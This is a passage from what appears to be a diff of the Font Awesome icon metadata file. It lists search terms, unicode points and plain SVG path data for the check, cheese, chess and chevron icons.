d=\"M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z\"/></svg>", + "viewBox": [ + "0", + "0", + "544", + "512" + ], + "width": 544, + "height": 512, + "path": "M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z" + } + }, + "free": [ + "solid" + ] + }, + "check": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "checkmark", + "confirm", + "correct", + "done", + "notice", + "notification", + "notify", + "ok", + "select", + "success", + "tick", + "todo", + "yes" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f00c", + "label": "Check", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635394, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z" + } + }, + "free": [ + "solid" + ] + }, + "check-circle": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "confirm", + "correct", + "done", + "ok", + "select", + "success", + "tick", + "todo", + "yes" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f058", + "label": "Check Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635394, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z" + }, + "regular": { + "last_modified": 1628088634726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "check-double": { + "changes": [ + "5.1.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "checkmark", + "confirm", + "correct", + "done", + "notice", + "notification", + "notify", + "ok", + "select", + "success", + "tick", + "todo" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f560", + "label": "Double Check", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635394, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z" + } + }, + "free": [ + "solid" + ] + }, + "check-square": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "checkmark", + "confirm", + "correct", + "done", + "ok", + "select", + "success", + "tick", + "todo", + "yes" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f14a", + "label": "Check Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635394, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z" + }, + "regular": { + "last_modified": 1628088634726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "cheese": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cheddar", + "curd", + "gouda", + "melt", + "parmesan", + "sandwich", + "swiss", + "wedge" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ef", + "label": "Cheese", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635395, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z" + } + }, + "free": [ + "solid" + ] + }, + "chess": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "castle", + "checkmate", + "game", + "king", + "rook", + "strategy", + "tournament" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f439", + "label": "Chess", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635399, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z" + } + }, + "free": [ + "solid" + ] + }, + "chess-bishop": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f43a", + "label": "Chess Bishop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635396, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "chess-board": { + "changes": [ + "5.0.5", + "5.7.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f43c", + "label": "Chess Board", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635396, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z" + } + }, + "free": [ + "solid" + ] + }, + "chess-king": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f43f", + "label": "Chess King", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635397, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z" + } + }, + "free": [ + "solid" + ] + }, + "chess-knight": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "horse", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f441", + "label": "Chess Knight", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635397, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "chess-pawn": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f443", + "label": "Chess Pawn", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635398, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "chess-queen": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f445", + "label": "Chess Queen", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635398, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z" + } + }, + "free": [ + "solid" + ] + }, + "chess-rook": { + "changes": [ + "5.0.5", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "board", + "castle", + "checkmate", + "game", + "strategy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f447", + "label": "Chess Rook", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635398, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-circle-down": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "download", + "dropdown", + "menu", + "more" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f13a", + "label": "Chevron Circle Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635399, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-circle-left": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "back", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f137", + "label": "Chevron Circle Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635399, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 